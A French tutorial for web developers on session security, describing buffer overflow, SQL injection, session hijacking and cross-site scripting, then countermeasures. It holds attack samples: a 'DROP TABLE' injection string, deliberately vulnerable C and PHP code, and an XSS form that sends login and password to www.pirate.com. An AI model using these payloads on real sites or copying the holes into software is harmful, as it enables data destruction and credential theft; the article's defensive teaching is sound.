I. Introduction▲
Les applications web utilisant les clients légers que sont les navigateurs web protègent leurs utilisateurs par la création de sessions. Ces sessions sont des espaces de travail dans le temps disposant d'un espace de stockage d'informations. Cet espace de travail est privé et est propre à un utilisateur particulier dûment authentifié.
Ces sessions sont un système de protection efficace, lorsque correctement employées par le développeur de l'application web. Cependant, il est courant de constater des carences dans la sûreté d'emploi des sessions. Ainsi, les sessions peuvent devenir un élément d'insécurité et venir rompre la chaîne de sécurité du système d'information sur lequel repose l'application.
Il convient de respecter certaines bonnes pratiques dans l'usage des sessions.
Cet article va présenter quelques attaques possibles ainsi que les mesures appropriées pour réduire le risque.
Cet article s'adresse principalement aux développeurs web (PHP, J2EE, .NET…).
II. Attaques▲
II-A. Buffer overflow▲
Une attaque par buffer overflow (dépassement de capacité mémoire) consiste à envoyer en paramètre (dans l'URL ou en POST d'un formulaire) une donnée dont la longueur excède la taille attendue ou autorisée par le serveur d'application ou l'application en elle-même et remplace la valeur d'autres variables.
Cette attaque peut avoir plusieurs types de conséquences :
- obtention de privilèges supplémentaires ;
- instabilité de l'application ou du serveur ;
- injection de code malveillant.
L'objectif du pirate est alors de mettre en panne le serveur ou l'application, ou plus généralement, d'obtenir des droits d'accès supplémentaires à des fins d'intrusion permettant le vol de données, la destruction du SI où l'attaque d'autres cibles.
// fonction vulnérable
void
copiedechaine
(
char
*
str) {
// buffer de taille limitée à 10 caractères
char
buffer[10
];
strcpy
(
buffer, str); // buffer overflow !!!
}
// programme principal
int
main
(
) {
// création d'un buffer excédant la limite prévue
char
autrebuffer[] =
"
Cette chaîne est décidément dangereusement trop longue !
"
;
copiedechaine
(
autrebuffer);
return
1
;
}
II-B. SQL injection▲
L'attaque par SQL injection, ou plus généralement par command injection consiste à injecter du code malveillant, en l'occurrence une requête SQL dans un paramètre. Si ce paramètre est insuffisamment contrôlé par l'application et est utilisé au sein d'une commande système, où d'une requête de base de données, alors cette dernière va voir son comportement modifié : des actions non prévues vont être pilotées à distance par un pirate.
Les conséquences d'une telle attaque peuvent être la corruption de données et la prise d'accès frauduleux sur le serveur.
<?php
mysql_query("SELECT * FROM utilisateurs WHERE login='
$login
'"
);
?>
toto'; DROP TABLE utilisateurs; #
SELECT
*
FROM
utilisateurs WHERE
login=
'toto'
; DROP
TABLE
utilisateurs; #'
Cet exemple d'injection supprime la table des utilisateurs dans la base de données. D'autres exemples permettent de forcer la validation d'un contrôle d'accès et de s'approprier les droits d'un utilisateur, d'afficher le contenu d'une base de données…
II-C. Cookie poisoning▲
Une session est identifiée par un identifiant stocké chez le client sous la forme d'un cookie conservé par le navigateur web. Le serveur va rattacher un internaute à sa session via l'identifiant fourni par le client. Il est donc naturel que les pirates cherchent à pirater les cookies.
II-D. Session hijacking▲
L'attaque par session hijacking est une spécialisation de cookie poisoning destinée à prendre le contrôle d'une session utilisateur.
Il existe plusieurs types de session hijacking :
- interception ;
- prédiction ;
- force brute ;
- fixation.
L'interception consiste à intercepter un cookie par écoute du réseau entre le serveur et le client. Une sonde réseau permet au pirate d'écouter le trafic et d'intercepter les informations échangées. Le pirate possédant le cookie stockant l'identifiant de session pourra l'installer dans son navigateur et utiliser l'application web sous l'identité de l'utilisateur dont il a volé le cookie et avec ses droits d'accès.
La prédiction est l'art de deviner un identifiant de session valide. Cette attaque concerne les serveurs dont l'algorithme de génération de cet identifiant permet sa prédictibilité. Ainsi, avec un peut d'analyse, en fonction de certaines informations connues (un login courant ou obtenu de façon légitime, la date, et autres informations que l'on peut obtenir facilement…), le pirate peut forger un identifiant rattaché à une session en cours. Cette attaque est d'autant plus facile à réaliser que l'application possède un grand nombre d'utilisateurs.
La force brute permet de trouver un identifiant valide par des tentatives massives en générant un grand nombre d'identifiants et en exploitant sa prédictibilité.
La fixation cherche à imposer un identifiant arbitraire à un utilisateur donné. Pour réaliser cette attaque, le pirate doit créer cette session sur l'application, pousser un utilisateur à se connecter à l'application (souvent par phishing), puis se connecter lui-même à la session lorsque l'utilisateur se sera connecté. Le pirate va typiquement utiliser un outil requêtant l'application régulièrement jusqu'à ce que le formulaire d'authentification disparaisse, trahissant alors le succès de la double attaque par phishing / session hijacking (l'utilisateur cible s'est connecté). Cet outil permet également d'empêcher l'expiration de la session due à une période d'inactivité trop longue.
II-E. Cross-site scripting▲
Le cross-site scripting requiert que la valeur d'au moins un paramètre de l'URL ou du formulaire soit intégrée au contenu de la page web sans contrôle suffisant. Ainsi il suffit de remplacer cette valeur par du code exécutable pour exécuter une action sur le serveur (Shell…) ou chez le client (JavaScript, ActiveX, Flash…).
Un code suffisamment intelligent peut permettre à un pirate de récupérer des données saisies par un utilisateur. Dans l'exemple qui suit, une banque propose un formulaire d'authentification qui réaffiche le login de l'utilisateur en cas d'échec.
http://www.mabanque.com/login.jsp?login=dupond
<html>
<body>
<form
action
=
"login.jsp"
method
=
"post"
>
Dupond, recommencez...<br />
Login : <input
type
=
"text"
name
=
"login"
/><br />
Password : <input
type
=
"password"
name
=
"password"
/><br />
<input
type
=
"submit"
value
=
"Valider"
/>
</form>
</body>
</html>
http://www.mabanque.com/login.jsp?login=%3Cscript%3Ealert(%60Vous%20êtes%20pirat%E9%20!%60)%3B%3C/script%3E
<html>
<body>
<form
action
=
"login.jsp"
method
=
"post"
>
<script>
alert('Vous êtes piraté !');</script>
, recommencez...<br />
Login : <input
type
=
"text"
name
=
"login"
/><br />
Password : <input
type
=
"password"
name
=
"password"
/><br />
<input
type
=
"submit"
value
=
"Valider"
/>
</form>
</body>
</html>
Dans l'exemple suivant, le pirate crée un nouveau formulaire HTML lançant une requête HTTP (méthode GET d'obtention d'une image) vers un serveur qu'il contrôle. Les fichiers de log de son serveur web lui afficheront la requête HTTP vers la ressource demandée de type : http://www.pirate.com/login:password contenant le login et le mot de passe de l'utilisateur. Là encore, la tactique nécessite la collaboration involontaire d'un utilisateur légitime de l'application via une attaque par phishing.
Fort d'un identifiant et d'un mot de passe valides, le pirate peut créer une session sous l'identité d'un utilisateur légitime.
<html>
<body>
<form
action
=
"login.jsp"
method
=
"post"
>
</form>
<form
action
=
"login.jsp"
method
=
"post"
name
=
"auth"
onSubmit
=
"img=new Image();
img.src='http://www.pirate.com/' + auth.login.value + ':' + auth.password.value"
>
, recommencez...<br />
Login : <input
type
=
"text"
name
=
"login"
/><br />
Password : <input
type
=
"password"
name
=
"password"
/><br />
<input
type
=
"submit"
value
=
"Valider"
/>
</form>
</body>
</html>
III. Solutions▲
Après avoir fait le tour des principales attaques sur la session de l'utilisateur, nous allons nous pencher sur les diverses solutions combinées permettant de réduire les risques d'attaques.
III-A. Protocole HTTPS▲
L'utilisation du protocole HTTPS au lieu de HTTP permet de se prémunir contre les sondes réseau sniffant le trafic entre client et serveur. En effet le protocole SSL encapsule HTTP afin d'authentifier le client et de chiffrer les données échangées, assurant ainsi la confidentialité des échanges.
Tout espace privé devrait être protégé par HTTPS.
III-B. Cookie SSL▲
Dans un espace privé accédé en HTTP, les cookies peuvent être échangés en HTTPS afin d'en assurer la confidentialité du contenu. Les navigateurs sont en effet tenus de fournir à l'application web via un canal protégé tout cookie déposé de façon sécurisée.
Les identifiants de session sont donc en sécurité sans toutefois faire crouler le serveur sous les tâches de chiffrement du protocole SSL, fort gourmandes en ressources de calcul.
III-C. Durée de session limitée▲
Afin de se prémunir contre l'utilisation de la session d'un utilisateur quittant un cybercafé en oubliant fermer le navigateur par une personne malhonnête venant à la suite, il est utile de ne pas donner pour durée de vie à la session la vie de la fenêtre du navigateur.
Fermer d'office la session après une durée d'inactivité de 15 minutes est raisonnable.
III-D. Déconnexion explicite▲
Fournir à l'utilisateur ou moyen de se déconnecter dès ses tâches terminées permet de réduire l'exploitation de son cookie de session par un pirate ayant écouté le réseau. Ainsi, un bouton où un lien « se déconnecter » permet d'écourter une session.
III-E. Identifiant de session initié par le serveur▲
Les gestionnaires de session diffèrent dans leur comportement selon le langage et le serveur d'application utilisés par l'application web. Ainsi, certains d'entre eux permettent aux clients de forcer la valeur de l'identifiant de session à utiliser. Ceci autorise le session hijacking par fixation.
Il est donc important que l'identifiant de session soit forgé par le serveur ou l'application pour plus de sécurité.
III-F. Identifiant de session non prédictible▲
Pour éviter toute attaque par session hijacking de type prédiction, il est nécessaire que le gestionnaire de session utilisé par l'application ait un algorithme générant des identifiants non prédictibles. Les API de génération de nombres pseudoaléatoires sont maintenant suffisamment évolués pour cela.
III-G. Identifiant de session forgé après authentification▲
Les identifiants de session sont malheureusement généralement générés avant l'authentification. Une sécurité optimale voudrait qu'ils ne soient générés qu'après que l'application se soit assurée de l'identité de l'utilisateur afin d'éviter toute attaque sur la session.
III-H. Champ mot de passe protégé▲
Le champ de mot de passe du formulaire doit avoir sa valeur non visible pour les personnes environnantes et les systèmes d'espionnage par capture des ondes électromagnétiques émises par l'écran (attaque CEM). Il faut donc utiliser le type d'input password plutôt que text.
Le champ de mot de passe ne devrait pas non plus être préremplissable par le navigateur. Pour cela, les développeurs peuvent utiliser l'attribut autocomplete de valeur off.
III-I. Contrôle des paramètres▲
Le point le plus important de la sécurité de votre application : le contrôle systématique de tous les paramètres fournis par l'utilisateur et obtenus par l'URL.
Toute valeur doit être contrôlée, expurgée des caractères interdits, et employée avec beaucoup de précautions dans les requêtes, commandes et affichages divers afin d'éviter les attaques par buffer overflow, command injection et cross-site scripting.
III-J. Gestion correcte des erreurs▲
Autre mesure de précaution : ne pas afficher dans les messages d'erreur le détail des fonctions employées, leurs valeurs et surtout aucune requête de base de données. Un pirate cherchera à provoquer des erreurs afin d'obtenir des messages d'erreurs des informations utiles, comme le schéma de la base de données utilisée afin de préparer des attaques par cross-site scripting.
III-K. Pas d'information sur les habilitations en paramètre▲
Aucune information sur les droits d'accès de l'utilisateur ne doit être passée en paramètre à l'URL. Car une modification frauduleuse de ces paramètres permettrait à un utilisateur d'augmenter son niveau d'habilitation et de réaliser des opérations normalement interdites, détournant alors sa session.
III-L. Pas de stockage en clair des mots de passe▲
Les mots de passe où qu'ils soient stockés (fichier, base de données, annuaire…) ne doivent pas apparaître en clair. Un chiffrement asymétrique est nécessaire, car sinon, un accès frauduleux au contenu de l'entrepôt de mots de passe permettrait à un pirate de se connecter avec l'identité d'un autre utilisateur.
La plupart des systèmes proposent cette fonctionnalité (base de données MySQL, annuaire LDAP, fichier /etc/shadow), alors autant l'utiliser.
III-M. Protection des données de session▲
L'identifiant de session est la seule donnée de session fournie au client. Toutes les autres données stockées dans l'espace de session le sont sur le serveur, dans un dossier spécifique qu'il convient de protéger des accès frauduleux.
Par exemple, PHP stockent les données de session dans un fichier texte dont le nom contient l'identifiant de session et qui est placé dans le répertoire /tmp du système d'exploitation du serveur, accessible en lecture à tous les utilisateurs ayant un compte sur ce serveur. Il convient de changer de dossier ou de le protéger mieux afin qu'aucun utilisateur ne puisse pirater la session d'un autre.
III-N. Session liée à un seul utilisateur physique▲
Le meilleur moyen de parer à des attaques par session hijacking est d'associer une session non pas seulement à un utilisateur logique, mais aussi à un utilisateur physique identifié par exemple par son adresse IP.
Ainsi, identifiant de session + adresse IP forment un couple logique/physique assurant la sécurité de la session.
IV. Tableau récapitulatif des menaces et parades▲
Attaques |
Parades |
---|---|
buffer overflow |
contrôle des paramètres |
command injection |
contrôle des paramètres, gestion correcte des erreurs |
cookie poisoning |
cookie SSL |
session hijacking |
durée de session limitée, déconnexion explicite, identifiant de session forgé après authentification, champ mot de passe protégé, pas d'information sur les habilitations en paramètre, session liée à un seul utilisateur physique |
session hijacking - interception |
HTTPS, cookie SSL, protection des données de session |
session hijacking - prédiction |
identifiant de session non prédictible |
session hijacking - force brute |
identifiant de session non prédictible |
session hijacking - fixation |
identifiant de session initié par le serveur |
cross-site scripting |
contrôle des paramètres, gestion correcte des erreurs |
V. Conclusion▲
La sécurité de la session dépend de plusieurs acteurs : l'équipe de développement de l'application web, mais aussi du gestionnaire de session employé ainsi que de l'utilisateur qui doit être mis en garde contre l'usage de son navigateur par d'autres personnes (1) . Des solutions simples permettent d'éviter la plupart des cas possibles de compromission de la session de l'utilisateur.